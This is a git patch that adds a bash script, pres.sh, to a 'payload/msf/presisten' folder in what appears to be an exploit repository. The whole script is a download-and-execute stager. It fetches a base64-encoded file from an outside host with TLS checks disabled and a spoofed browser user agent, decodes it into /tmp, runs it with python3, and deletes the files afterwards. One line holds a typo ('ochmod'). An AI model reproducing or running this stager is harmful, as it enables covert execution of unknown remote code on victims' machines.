From e40d5ca5c05e4de589db22dc2f36fe51bcee593f Mon Sep 17 00:00:00 2001 From: Syn Naulaid Date: Thu, 30 Jan 2025 19:28:23 +0000 Subject: [PATCH] Add payload/msf/presisten/pres.sh --- payload/msf/presisten/pres.sh | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 payload/msf/presisten/pres.sh diff --git a/payload/msf/presisten/pres.sh b/payload/msf/presisten/pres.sh new file mode 100644 index 0000000..e5619e4 --- /dev/null +++ b/payload/msf/presisten/pres.sh @@ -0,0 +1,24 @@ +#!/bin/bash + +URL="https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/python/prepy" +TEMP_FILE="$(mktemp /tmp/tmp_prepy.XXXXXX)" + +# Unduh file dengan curl +if command -v curl &> /dev/null; then + curl -s -k -A "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -o "$TEMP_FILE" +elif command -v wget &> /dev/null; then + wget --no-check-certificate --quiet --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" "$URL" -O "$TEMP_FILE" +else + echo "Error: curl or wget not found. Please install one of them." >&2 + exit 1 +fi + +# Decode Base64 +DECODED_FILE="$(mktemp /tmp/decoded_prepy.XXXXXX)" +base64 -d "$TEMP_FILE" > "$DECODED_FILE" +rm -f "$TEMP_FILE" + +# Jalankan file Python +ochmod +x "$DECODED_FILE" +python3 "$DECODED_FILE" +rm -f "$DECODED_FILE"